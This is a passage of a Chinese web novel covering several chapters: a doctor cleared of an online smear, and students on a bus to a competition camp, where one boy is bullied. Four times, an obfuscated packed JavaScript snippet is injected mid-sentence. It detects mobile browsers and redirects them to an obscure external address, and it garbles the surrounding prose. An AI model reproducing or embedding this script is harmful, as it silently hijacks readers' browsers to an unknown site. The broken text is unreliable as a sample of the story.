外面比屋子里要冷一点,但并非无法忍受,且要宽广得多。怀里有汤婆子,孩子捂得严实,并不觉冷,往妈妈怀里又靠了靠,睡得很香。 赵柔将女儿紧了紧,头也不回地离开了。 ———— “哔——哔哔——” 电瓶车在路上奔驰着,时间已经很晚了,这时段路上一般不会有什么人,开车的阿姨很放心地行使着。 直到前方的拐角处忽然窜出了一对母女,电瓶车阿姨一惊,忙按住手刹,两脚并用迫使车子及时停下来。 好在刹车及时,对面的母亲也接到提醒迅速闪避,才没有撞到人。 电瓶车阿姨松了口气,见对面衣着朴素,怀里还抱着个刚出月的孩子,不禁心生怜悯,问道:“妹子,你这是怎么了?” 对面低声答道:“和家里吵架了。” 电瓶车阿姨叹道:“这是多大的架啊,大晚上的出来受冻。这样吧,你去哪儿,我捎你一程。” 对面犹豫了一下,小心翼翼地问道:“警局,可以吗?” 一般人听到警局二字,或许是不愿意惹麻烦的,但电瓶车阿姨二话不说,让这对母女上来后,就利落地将车开到了最近的警局。 工作人员们热情而周到地接待了她们,还找了张婴儿床让孩子能更舒适地睡觉。又给两位大姐提供了餐食。 吃过饭后,警察让赵柔来接待室谈话。电瓶车阿姨冲赵柔点点头,安慰道:“有什么事尽管跟警察们说,别怕,孩子这儿有我看着呢!” 一旁的工作人员听了笑道:“也有我们看着,尽管放心吧。” 赵柔感激地道过谢,跟着警察走进接待室,慢慢说了事情的缘由。 前来处理的警察一直保持着温和耐心的态度,一直到赵柔说完后,才安慰对方不用担心,她们会解决好这件事的。 赵柔放松下来,见警察准备离开,又忙叫住对方,问道:“那个… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487242|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …姑娘,我想问一下,可以让我澄清医院的事儿吗?” ———— 沈安宴接到了林鹿她们发来的消息。 “这事儿真有点儿怪,听业内人士说好像是有人故意引导舆论攻击许医生的,也不知道是为了什么。不过我们也找了专业团队帮忙澄清,这几天一直在打舆论战。本来这事情就没有许医生的错,对方打不过,就只能揪着产妇没出面发声的事说理。嘿!你说巧不巧,就今天早上,那个产妇出面澄清了,落实了那俩男家属就是为了讹钱。现在网上的风评已经一边儿倒了!” 沈安宴闻言,心里的大石头也终于放了下来。她笑着和林鹿聊了几句,就切换到社交平台上围观了。 现在都不用她再帮忙,原来造谣的帖子都被群情激奋的网友举报没了,至于那些辱骂抹黑的言论,个个都被封了号。沈安宴真是切实感受到了“把控舆论方向才是最有用的”这句话的含金量。 她看得太投入,甚至没注意身后走近的人,直到后桌踢了她一脚,沈安宴方才手忙脚乱地准备收手机——但已经太迟了。 手机被身侧人拿走了,祁白老师笑眯眯地说道:“你这就不好了,我都走到跟前了,还不知道藏,我想睁只眼闭只眼都没法子。看什么这么入迷呢?” 她说完对方,又将目光移到了手机屏幕上。 “许医生?噢,这件事我倒是听办公室老师们提起过,你和姜老师前几天忽然请假,为的就是这事儿吧?” 沈安宴挠了挠头,乖乖应了一声。 祁白老师轻轻拍了拍对方脑袋:“难怪看你这些天神思不属的。这些事我们操心就好了,你们年轻人,只管往前跑。” 她将手机装回衣兜,又小声说了句:“下课了来我办公室拿。” 事情到这里,已经算是尘埃落定了。许医生最后也知道了这件事,不过那时网络上的舆情已经被控制住。她只知道这次手术有过争议,不过在网上看时,只能看到认同她或是感谢她的言论。 “哎,难过你们最近总是神神秘秘的,原来是为了这个。”许医生笑着摇摇头,“真是麻烦你们了,也谢谢你你们辛苦这么多天为我的事操心。” 张医生笑道:“许老,你这是什么话。都是朋友!朋友之间,不说这些虚的!” 姜暖道:“生育科有您这么好医生,大家都爱戴您,怎么能眼睁睁看着那些宵小给您泼脏水呢?” 林鹿赞同地点点头:“就是就是,您好好当医生就行了,这种腌臜事看一眼都是脏眼睛,交给我们来就好。” 姜老师道:“咱们等会儿跨个火盆儿去去秽气。哎,你周末不是要去爬山嘛,刚好一起,就当散心了。” 许医生不禁莞尔,笑着点了点头。 屋内欢声笑语,窗外阳光正好。今天是个难得的大晴天,日光暖融融地铺在屋顶上。 微风徐徐,雀儿立在枝头,叽叽喳喳地叫着,似乎也在喜悦着难得的好天气。 38. 角落 临近期末,除了复习备考外,还有一件大事情需要关心。 经过两个月的时间,雅典娜竞赛的成绩终于新鲜出炉,名次也随之公布出来。 老师们自然是第一个收到消息的。 陈愿今早给学生们上课时,看起来喜气洋洋的。 林跃笑嘻嘻地问道:“老师,今天是有什么好事儿吗?” 陈愿看她一眼,难得给了对方一个青眼儿:“是好事儿,而且还跟你有关系。” 这下林跃从悠闲地瘫着坐,变为了神采奕奕地直着坐。 “真的?什么事儿啊老师?” 陈愿不紧不慢地走到讲台上,拍了拍手示意同学们注意过来。 “给大家说个好消息啊,竞赛的成绩出来了,咱们班有两个人得奖。” 班上同学立刻兴奋起来,有不少人的目光都聚集在了沈安宴和贺晴天二人身上。 有同学问道:“老师,都有谁啊?” 陈愿也不卖关子,痛快地公布了。 “第一个是明宇同学,咱们全省第一名。” “哇——”班上同学爆发出一阵惊呼,伴随着拍桌子和鼓掌的声音。 贺晴天也转过身,笑着祝贺道:“恭喜啊,第一名。” 后桌明宇挠了挠头,对此也有点意外:“运气运气,我也没想到会得第一。” 林跃琢磨了一下,期待地问道:“老师,那第二个人呢?” 陈愿笑道:“第二个就是林跃,全省第十三名。” 大家又鼓起了掌,林跃乐完了,忽然反应过来,有些诧异地转头问道:“哎,不对啊,那你们两个怎么回事?竟然没得奖?” 贺晴天扶了扶额。 沈安宴无奈道:“有没有一种可能,除了得奖外,还有参加冬令营这一个结果?” 讲台上的陈愿也补充道:“入围进入省队的同学,咱们班也有两名……” 她笑着看向沈、贺二人的方向:“估计不用我说,你们也知道了吧?” 大家一起笑了起来,目光转向二人鼓起掌。 “盛宴,贺晴天,回家记得准备冬令营的行李啊。” 应过好后,沈安宴忍不住问道:“老师,那隔壁班的情况呢?” 陈愿没多想,回答道:“噢,隔壁获奖的有江小松,全省第五。入围的有顾辞江和周天。” 贺晴天听到好友的名字,脸上露出了笑容。 沈安宴听到想要的名字,也高兴地笑了起来。 陈愿打趣道:“瞧把你俩乐的……行了,那竞赛的事就说到这里,现在开始上课。” ———— 从海城到繁花市的距离不短,竞赛组为选手们提供了免费的大巴车和达到后的临时酒店,后者先不提,但真要坐大巴车过去,最少也要颠上五个小时。 沈安宴想都没想就拒绝了,和贺晴天商量好一起坐高铁过去。 二人在高铁站汇合后,贺晴天看了看对方背着的书包——这是对面唯一一个行李,有些诧异地问道:“你就带这点吗?” 沈安宴道:“嗯,换洗衣服,卫生纸,水杯,充电器,身份证,一个书包装就够了。” 贺晴天其实也只带了一个刚过膝盖处的行李箱,但和沈安宴比起来真是大巫见小巫。她没多说什么,只嘱咐道:“要是有什么缺的,可以来找我。” 这次入围的选手加上她们总共有十人。大家临时建了个群,指导老师让选手们抵达后记得在群里报备。 来繁花市的方式竞赛组没有要求,不过从繁花市到常青山,就需要参赛选手们集合统一坐车去了。 集合的时间定在了第二天,早到的选手可以住在竞赛组预定的酒店。贺晴天和沈安宴商量过后,不打算再折腾,决定直接去竞赛组提供的酒店里住。毕竟是官方的,比起其它地方肯定要更安全一些。 不过等到了目的地,二人就有些后悔了。 沈安宴看着置身于夜市,生活气息浓厚,甚至连前台都没有的酒店,脸上的表情很是凝重:“我从来没有住过这么破的酒店。” 贺晴天也一脸震撼:“这酒店我以为十年前就已经灭绝了……” 但老话说,来都来了,二人奔波了一天,天色也快入夜了,再去找其它酒店不知道又要耽搁多久,她们只得硬着头皮进去。 收到酒店老板发来的密码,二人从一楼的保险柜里拿了钥匙……是的,房间的门甚至不是刷卡,而是需要用钥匙才能开的,才坐电梯上了她们所住的楼层。 楼道里光线昏暗,声控灯坏了好几个,贺晴天不得不打开手机的灯光照明。 墙壁上贴满了小广告,还有大片剥落的墙皮。客房门口堆着未及时清理的外卖盒,二人往里走时需要注意别踩到它们,不然万一遇到有剩饭的,里面的汤水会弄脏她们的鞋子和裤脚。 好不容易找到了她们的房间,开门时却又遇到了麻烦。 贺晴天将钥匙插进锁孔,转动两圈后压下门把手……纹丝未动。 她轻轻“咦”了一声,试探着往反方向又转了两圈,门把手依旧压不下去。 如此重复了几次,她有些不确定地看向沈安宴:“这门是坏了吗?” 沈安宴上前接过钥匙,也试着开了几次门,结果同贺晴天一样。 她皱了皱眉,向对方说:“算了,问问店长吧,这门怎么回事……” 她一边说,一边准备把钥匙拔出来,结果钥匙不知怎的,大概是卡在了锁孔里,沈安宴一使劲,钥匙依旧没拔动,倒是门随着她的力道打开了。 二人:……? 老板正好发来了消息:“哎,姑娘啊,这门的把手坏了,你们别按把手,把那个钥匙插里边然后往出拽,就能拽开了。” 贺晴天客客气气地回复道:“噢噢好的,谢谢老板,我们已经打开了。” 总算能进屋休息了,沈安宴摘下书包,想找地方放下。 准备放桌子上,结果桌子却残留着上个住客撒下的汤汁。 沈安宴嘴巴一撇,转头去看柜台……上面落了一层厚厚的灰尘。 那算了,找椅子吧,结果椅面上到处是头发丝和昆虫尸体。 沈安宴:“……我后悔了,咱们要么还是重新找个酒店吧。” 贺晴天也看到了这些,她二话不说,拿出手机就开始找附近其它的酒店,几分钟过去后,她郁闷地回答道:“最近的标准酒店打车过去要一个小时。” 眼看着时间已经快十点了,第二天七点就要集合。沈安宴最后还是勉强忍耐了下来。 贺晴天打开行李箱,从里面掏出床单和枕套在床上铺好。 “我从家里带来的,被子咱们就不盖了,反正有暖气,用衣服把肚子盖上就好。” 毕竟从目前看来,这家酒店的卫生状况差得吓人,两人也不愿意在这里洗澡,只打算勉强应付一晚。 沈安宴这一觉睡得并不好,大概是心里膈应,因此睡觉也不能放心睡。尽管睡的时间足够长,她第二天醒来依旧没什么精神。 贺晴天打了个哈欠,从行李箱中翻出湿巾和漱口水给对方用。 沈安宴这时不得不佩服对方的周全了,她一边洗漱一边感慨:“你的行李箱看着不大,里面备的东西倒真不少。” 贺晴天笑道:“这只是收纳大师的基本操作。” 二人整理完毕,坐车去集合地点的路上,沈安宴吐槽道:“我要避雷这家酒店,体验真是太差了……” 贺晴天点开手机屏幕,转给对方看:“这个我想到了,今天早上准备打差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16492372|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 评的时候,看到这家店住一天只要六十。” 沈安宴:? 她打差评的心思瞬间熄了:“得,一分钱一分货,这家真是完美诠释了这句话。” 贺晴天也苦笑道:“还有一点,下次可再也别迷信权威了。” 集合点的环境总算像了点儿样子,不像昨晚的酒店那样破破烂烂。宽敞明亮之余,服务设施也做得很好,空气里还有淡淡的清香。沈安宴到了这里才算是活过来了一点。 贺晴天也明显松了口气。二人找了空位置坐下,窝在柔软舒适,最重要的是干净的沙发上,难得能放松地休息一会儿。 等缓过劲儿来了,沈安宴才直起身向周围看去,这一眼就看到了不远处的两个熟人,周天和顾辞江。 她眼睛一亮,冲那边挥了挥手,喊了两个人的名字。 “顾辞江,周天!” 对面二人也看到了她,一起向这边走来。 顾辞江刚走到跟前,就注意到沈安宴没精打采的神色,有些担忧地问道:“昨晚没休息好吗,看你有些没精神。” 沈安宴摇了摇头,叹道:“一言难尽。” 周天看二人一眼,问道:“怎么了?” 贺晴天便将前因后果简略解释了一遍。 周天道:“怎么不给我发信息,那里环境差,你们当时直接来我这边的酒店住好了。” 贺晴天解释道:“主要是过去太远,第二天还要早起,就不想折腾了。” 几人正说着,一个怯生生的声音忽然插了进来。 “抱歉,打扰一下,请问这里就是竞赛的集合点吗?” 大家转头看去,来人是个和她们差不多大的男生,五官精致秀丽,像橱窗里的洋娃娃一样漂亮。头发乌黑柔软,发尾贴在脸侧,看起来格外乖巧。只是身形单薄纤细,风吹吹就能倒下似的,让人不自觉就会生出点怜惜。 贺晴天回答道:“就是这里。” 男生轻轻“嗯”了一声。他大概是个内向胆小的性子,道过谢后就安静地待在几人旁边当背景板了。 沈安宴和周天都不是什么热情性子,只有贺晴天和顾辞江礼貌性地同男生搭了几句话,但见对方越说越紧张的样子,也就没再特意同他聊天了。 没过多久,又有一个选手到了。对方穿着毛衣长裤,怀里抱着刚脱下的羽绒服。毛衣选手的目光扫过沈安宴她们几人的方向,确认过自己没走错后,就随便找了个角落的位置坐下了。 最后抵达的是四个闹哄哄的男生,四人彼此间大概是熟识,因此是一起进门的,交谈嬉笑间很是熟稔。 这四个男生没走几步,其中一人就注意到了角落里的毛衣选手,立刻热情地打起了招呼:“班长!你来得挺早嘛!” 毛衣选手闻言抬起头,冲几人点头示意了一下,就没再有多余的动作。 沈安宴闻言看向贺晴天,调侃道:“哎,我还以为那声班长是在叫你呢。” 贺晴天也笑着应和道:“嗯,是挺有缘。” 那群男生嘻嘻哈哈地和班长打完招呼,其中一个戴耳坠男生忽然问道:“哎,我记得那谁不是也来了吗,怎么没见着?” 耳坠男身侧的同伴穿着潮流,大冬天的竟然光着膝盖和一截大腿,还染了一头红发,看起来非常性感。 红发男拨弄了一下颈间的吊坠,闻言眯起眼睛笑道:“别是来的路上被车给撞到了吧,嘻嘻——” 余下三人也跟着“嘻嘻”笑了起来,其中的恶意格外渗人。 耳坠男朝周围看去,像是秃鹫搜寻着腐肉一般,很快,他的眼神就黏在了不远处那个洋娃娃一般的漂亮男生身上。 他伸出一根手指,向红发男示意了一下,又笑嘻嘻地说道:“快看,没被车撞死,在那儿呢。” 39. 插曲 沈安宴正想打个盹儿,身后却被人忽然撞了一下。 她有些奇怪地回头看去,就见身后那个腼腆胆小的男生像是见着了什么可怖的东西一般,身体止不住地发起了抖。 沈安宴若有所思地看了对方一眼,又朝对面那群男生看去,大概明白了什么。 她直起身,朝那四个嬉笑不止的男生喊道:“麻烦安静一点。” 她态度平和,语气也并不严厉,但穿越前在上位待久了,认真说话时不自觉就带了些威慑力。那四个男生闻言下意识闭上了嘴。 耳根子清净了,沈安宴又重新靠回沙发,闭目养神起来。 周天对这些绕绕弯弯的事情不敏感,只当对方是真嫌吵才有那么一句。倒是贺晴天看出了些什么,见待在她们这边的那个男生可怜,便主动问道:“你是市一中的学生吗?” 这次竞赛能入围的选手基本都来自省内最好的那几个学校,除了海城一中,师资力量最强的就是市一中了。 男生闻言忙点了点头。 贺晴天笑着介绍了自己的名字,又问道:“你叫什么?” 男生轻声答道:“梁小诺。” 贺晴天点点头,朝先前那群男生的方向看了一眼,问道:“你和他们……” 梁小诺却像是受惊了的兔子一般,闻言立刻缩起了脖子,慌忙摇头道:“我……我和他们不熟……我什么都不知道……” 贺晴天被他这幅态度弄得一愣,也不知道接下来该说什么是好,只得顺着对方的话点点头,不再多问了。 待时针指向七点,竞赛的指导老师分秒不差地抵达了集合点。 她拿着名册,一一确认过人都到齐了后,方才合上文件夹,笑着介绍起了自己。 “我叫蓝冰,就是你们这次竞赛的带队老师,有什么问题都可以问我。” 见学生们没有问题,她便拍了拍手,笑道:“那么现在大家可以准备准备,需要上厕所的同学可以去上个厕所,然后咱们就能上车出发去常青山了。” 接送选手们的大巴车就停靠在大门外,众人跟着指导老师上了车。 车上的座位是单人座,左右各一列,从前往后数有六排。指导老师让学生们先上车,同时嘱咐道:“位置没有固定要求,大家随便坐。不过记得在第一排给我留个位置啊。” 左右只有十个人,排队也排不了多久,大家不急着上去,本着男士优先的礼节,大家让队伍里的男生先上车了。 顾辞江不喜欢拥挤,本想等着最后一个上,结果却见梁小诺畏畏缩缩不敢第一个上去,至于剩下四个男生则聚在一起,不知道在商量些什么,也没有要上车的意思,不禁无语。 他没再磨蹭,记得指导老师说要空出第一排,上去后便选了靠门一列第二排的位置。 梁小诺见有人走了,这才捏紧了书包带子,犹犹豫豫地正想往前走,肩膀处却忽然被人用力撞了一下。 耳坠男一副和对方很熟稔的样子,还伸出一只手虚虚扶了他一把,又笑眯眯地说道:“哎哎,不小心的。小诺,咱们关系这么好,不介意让我们先上车吧?” 梁小诺忙向后退了几步,低头颤着身子回答:“可……可以,你们先。” 四个男生笑嘻嘻地上了车,梁小诺跟在他们后边上去了。 台阶有些陡,而且有好几阶。梁小诺小心翼翼地往上走着,踩在最后一阶时,前面的男生忽然将背上的书包大力向后甩了过来,好巧不巧就打在了梁小诺脸上。 那书包甩过来的力度极大,他的耳朵霎时间嗡鸣一片,脚下一时间也失去了平衡,身体就要向后摔去。 一只手却稳稳扶住了他。 沈安宴见前面人站稳了,方才松开手,又开口询问道:“没事吧?” 梁小诺使劲眨了一下眼睛,将那阵眩晕感勉强压下去,方才摇头回答道:“没事,没事……谢谢你。” 前面的男生仿佛这才注意到自己失手砸人的情况,忙夹着嗓子轻声细语地道歉:“呀,小诺,我真没注意,刚就是顺手想把书包放下来……” 梁小诺身子一抖,又低下头小声说:“没事,没事的。” 注意到后面还有人要上来,他没再多停留,上车后随便找了个最近的位置坐下了。 这段小插曲结束得极快,除了车上的人和离得最近的沈安宴,底下人都不清楚发生了什么,只当是一场小打小闹的误会。 沈安宴轻轻皱了皱眉,但苦主不愿追究,她也不好多做什么。 那四个男生坐在靠司机一列的座位上,顾辞江身后几排的位置都是空着的,沈安宴就坐在了他身后。 顾辞江也看到了刚才发生的事,等沈安宴坐下后,他转过头去,见对方神色不虞,便轻声问道:“你不开心吗?” 沈安宴的确因今天遇见的一系列令人恶心又无法较真的恶意而烦闷,虽然这恶意并不是针对她,但也不防碍她觉得不爽。 但在面对顾辞江时,她不想将自己的情绪带给对方。因此很快调整好了心情,轻松笑道:“没什么不开心的。” 顾辞江看她一眼,想了想,从包里掏出一袋糖果递了过去:“要吃吗?” 沈安宴立刻点点头,凑近对方笑着说:“要吃!” 二人聊天的功夫,其他人也陆陆续续地上来了。贺晴天在沈安宴身后的座位坐下,见前面二人聊得正欢……不过准确来讲,应该是沈安宴单方面聊得欢,顾辞江只是耐心听着,时不时点点头。 好友看起来是没功夫分些注意力给自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16503929|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己了,贺晴天心下无奈,平时也没发现对方有多外向,结果一见着自己的小男朋友,简直比江小松待人还要热情。 身后传来响动,贺晴天回头看去,就见周天在后面坐了下来,再后面一排的人她也认识,就是对面的那位班长。 沈安宴她们坐的是靠车门这一列,指导老师上车后也坐在了她们这一列最前排。 在客车发动前,指导老师再次确认了一遍人员有没有都到齐——当然,其实也没什么好确认的,车上总共就十二个座位,加上老师总共十一个人,很容易就能看出有没有少人。 虽然人齐了,但还有一点小麻烦需要处理。老师走到梁小诺身旁,轻声提醒道:“同学,第一排不能坐人,辛苦你换个位置,可以吗?” 第一排前方没有护栏,多少有些危险,万一客车忽然刹车,乘客一个不注意就容易被甩飞出去。这也是老师不让大家坐第一排最主要的原因。 梁小诺忙拿起包,小声道歉:“对不起对不起老师,我这就走。” 指导老师笑道:“别紧张,慢慢来不着急。” 左侧的位置已经满人了,只剩下右侧最后一排还有一个空位。梁小诺紧张得耳垂泛红,总觉得大家似乎都在看他,周围的笑声和议论声似乎也是冲着他来的。他加快了脚步,匆匆走到最后一排的空位坐下。 这下问题都处理好了,指导老师拍拍手,示意大家看过来。 “那么同学们都坐好,咱们要出发了。路上要是有什么不舒服或者紧急情况,随时可以来找我。” 指导老师笑着说,又补充道:“我包里备了卫生巾,还有止痛药和晕车药。” 大家齐齐应过好后,司机阿姨便发动了车子,大巴车发出启动时特有的轰鸣,随后窗外的景色开始倒退,车子驶入了宽敞平坦的大路上。 司机阿姨驾驶经验丰富,车子行驶在路上非常平稳,除了偶尔遇到红灯时会有轻微的晃动外,其它时候根本不会有任何摇晃的感觉。指导老师的晕车药大概是无用武之地了。 车上的座位也很舒服,座椅靠背足够长,刚好可以让沈安宴的脑袋松快地靠在上面。她和顾辞江聊得累了,便向后一瘫,忍不住打了个哈欠:“这样躺着还挺舒服,真适合睡觉。” 顾辞江笑道:“那就休息会儿吧,你昨天不是没睡好?” 沈安宴道:“唉,不行,这里太亮了,根本睡不着。” 顾辞江问道:“我带了眼罩,你要不要用?” 沈安宴摸了摸鼻子,看起来有点不好意思:“呃,这个我之前试过,但戴上也不舒服,总觉得压眼睛。” 顾辞江忍不住笑了:“嗯,我记住了,等下次出行,我们坐有遮光板的车。” 沈安宴也笑了起来。 40. 恶意 可惜轻松的氛围没有维持多久,后排忽然响起一声尖叫,车上人的目光都向声源处望去,就见梁小诺抱着胳膊,身体不住地打着寒颤,而他的衣服也湿了一大片,衣角正不断地往下滴着水。 坐在第二排的红发男翻了个白眼,冲对方骂道:“你有病啊,叫叫叫叫什么叫。” 梁小诺闻言更害怕了,一个劲儿地说着对不起。 司机阿姨问道:“怎么了?需不需要我停车?” 指导老师道:“先不用,我去看看情况。” 她走到最后一排,将周围男生扫视一遍,询问道:“这是怎么了?” 梁小诺前排坐着的是耳坠男,对方一脸内疚的神色,一迭声地道起了歉:“对不住对不住,我刚打开杯子想喝水呢,没拿稳不小心撒小诺身上了,实在对不起。小诺你没事儿吧,我拿纸给你擦擦……” 他一边说,一边从包里拿出纸,想要过去给对方擦衣服,却被梁小诺推开了。 “你别过来!”梁小诺大声喊道。 耳坠男闻言眼圈儿瞬间红了,他委委屈屈地收回了手,眼泪要掉不掉地悬在睫毛上,看起来楚楚可怜极了。 身后的同伴大概是看不过眼,“唰”一下站起身,指着梁小诺骂道:“你什么意思!都说了不是故意的,你这是什么态度?怎么,是想把水泼回来吗?你泼啊!” 耳坠男将同伴劝了回去,又小声朝老师说道:“对不起老师,是我的错,实在不行让小诺坐我这个位置吧……” 周天被这群人吵得心烦,不明白一个水杯没盖好撒了而已,怎么能吵出这么一大箩筐的是非。 对面班长瞥了一眼这边的闹剧,又索然无味地重新躺回座位发呆了。 贺晴天看起来想上去劝架,可惜清官难断家务事。哪怕她的确是个心思足够细腻的人,也难懂男生之间这种绕绕弯弯该如何去劝。 顾辞江倒是能懂对面那群男生究竟在吵什么,但也缺乏处理这类闹剧的经验,只得担心地看了梁小诺好几眼。 沈安宴无奈地揉了揉眉心,车子目前行驶得很平稳,她也不用担心会摔倒,索性起身直接上前将梁小诺从座位上拉了起来。 梁小诺从很硬气地说出那句“你别过来”后,就又龟缩在座位上瑟瑟发抖了。他没有准备,身子又轻,很容易就被沈安宴拉了起来。于是他正稀里糊涂着呢,就被沈安宴带到了她自己座位边上。 见梁小诺还呆呆站着,沈安宴叹了口气,认命地按住对方肩膀让他在位子上坐下了。 “坐在这儿吧。”她说道。 梁小诺这才反应过来,磕磕绊绊地应了声“好”,应完后又想起了什么,慌忙补充了一句“谢谢”。 安顿完梁小诺,沈安宴正要找其它位置,结果没走几步,一直行驶平稳的车辆忽然来了个颠簸。 沈安宴:? 行动快过脑子,她下意识就想找东西扶住,于是一只手恰到好处地在此时递了过来,紧紧拉住了她的手。 那只手顺利握住她后,又一个使劲将对方拽向自己这边,另一只手则扶在了沈安宴后腰上,就这么让对方坐稳在了自己怀里。 “嘶——” 虽然行动及时,没让沈安宴摔倒,但她这么大的身板不留缓冲地撞在顾辞江身上,还是有点疼的。 沈安宴也忙抬了抬身,没敢把全身重量压在对方身上。她垂下目光,语气紧张地问道:“辞江,你没事吧,弄疼你了吗?” 顾辞江摇了摇头,他耳垂微微有些红,但仍保持着镇定问道:“你呢,没受伤吧?” 沈安宴道:“没什么……那个,我先起来……” 但客车又一个摇晃,硬生生将她的动作再次阻断在了原地。 不是,早不颠晚不颠,偏偏就要这个时候颠,这客车真是…… 司机在前方提醒道:“哎,快进山区了,这段儿路有点抖,老师同学们都坐稳了哈。” 沈安宴轻咳一声:“那个,估计一时半会儿还起不来,抱歉……” 顾辞江“嗯”了一声,又说道:“没关系的。” 好吧,虽然现在的想法有些不合时宜,但沈安宴真是觉得,这颠簸,来得简直太合时宜了! 她调整了一下姿势,让对方能更舒服地抱着自己,顺便也确保不会压得身下人太难受。 两人之间相顾无言了一会儿,沈安宴倒是很享受这样的状态,但顾辞江不习惯冷场的老毛病又犯了,于是努力找起了话题。 “你待会儿去哪里坐?” 沈安宴道:“第一排,就剩那里能坐人了。你说这车也真是的,多几个位子能怎么样,非要卡着人数只给十二个,也没考虑万一有突发情况该怎么办。” 顾辞江忍不住笑了一下,他点点头表示自己同意对方的观点,又忍不住担忧道:“不过那里不是有点危险吗,又没有护栏,而且待会儿走山路肯定更颠簸,万一又不小心摔了该怎么办?” 沈安宴挑眉笑道:“那我总不能一直在你这儿坐着吧?” 顾辞江的耳垂又红了,他避开对方直直看过来的视线,轻声道:“也不是不可以。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504695|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈安宴听了这句话,心里瞬间乐开了花,要不是条件不允许,她真想凑过去亲对方一口。 车子没有颠簸太久,很快就平稳下来。沈安宴凑近对方,悄声道:“以后抱的机会还多着呢,不差这一次。我走了?” 顾辞江拉住对方:“我坐去那里,你在我这儿坐着吧。” 沈安宴闻言挑了挑眉:“不用担心,我又不是三岁小孩,刹车还不知道抓扶手了。” 见对方坚持,顾辞江只得点点头,又嘱咐道:“小心一点,记得注意安全。” 事态就这样平息了下来。既然问题已经解决,指导老师也没再多管,回到座位上后提醒过沈安宴注意安全,就接着忙其它事了。 至于梁小诺这边,他到新位置坐下后,就缩成一团没敢再关注周围的情况。直到肩膀被人拍了拍,他才从恐惧的情绪中勉强脱身,回头向后看去。 贺晴天递来一包纸巾,轻声道:“把身上的水擦一擦吧,嗯……还有外套,一直穿在身上容易感冒的。” 梁小诺小心地接过那包纸,低头道过谢后,方才慢慢地收拾起身上的水渍。 沈安宴这边,她到了新的位置后,前面是专心开车的司机阿姨,后面是不认识的红发男,旁边则是带队老师。能说得上话的人离她都很远。她闲得无聊,正准备靠在椅背上闭目养神,却忽然被人拍了拍。 拍她的人正是身后那个红发男,对方一副自来熟的模样,笑嘻嘻地问道:“同学,你跟梁小诺熟吗?” 沈安宴刚开始还没反应过来梁小诺是谁,回忆了一下才想起来是那个胆小的男生。她本打算实话实说,但话到嘴边,又想到这些人欺软怕硬的性子,于是说出来的话便成了:“跟你有关系吗?” 红发男倒不为对方这句冷言冷语而有所退缩,态度反而越发亲切温和:“同学,我没别的意思,就是好心想提醒一下你,梁小诺这个人才没有你以为的那么单纯。” 他压低声音,语气里带着粘稠的恶意:“你别他长得纯,其实私底下脏得很,你不是我们学校的可能不清楚,他在外面跟好多人上过床,是被玩儿烂的玩意儿……” 沈安宴冷笑一声,直接打断了对方的话:“知道的这么清楚,你是爬人家床底下偷听了?” 红发男被对方这句话堵得一哽,沈安宴却已经懒得再搭理他了,留下一句“我要睡觉了,别再来烦我”,就重新靠回椅背上闭目养神了。 红发男似乎有些愤愤不平,但又不能多说什么,只能小声地“切”了一下,就没敢再有多余的动作了。 41. 山间 随着客车逐渐深入,常青山的景色逐渐在视野中显现出来。 繁花市虽已入冬,但市里只是林木凋敝,天气寒冷,却没有降雪。而山里早已覆上了一层白雪。 山中种满了松树,远看如一片苍翠的绿海,霜雪覆着其上,又有晶莹的冰凌悬挂枝头,身临其间,像是误入冬日的童话乐园一般。 当周围响起阵阵惊呼声时,沈安宴就睁开眼睛望向了窗外,接着就看到了这样的景色。 她随手拍了几张照片,就靠在椅背上静静欣赏起窗外的美景了。 带队老师看了眼手机,拍拍手提醒道:“同学们,我们马上就要到下车点了。大家穿好衣服,注意保暖。我们下车后还要走上大概半个小时的路程,才能到达本次集训点。” 其他人倒没什么异议,那四个男生闻言立刻响起了一阵抱怨。 “半个小时,要累死我啊……” “老师我不想走,就不能坐车过去吗?” “啊——我要死了……” 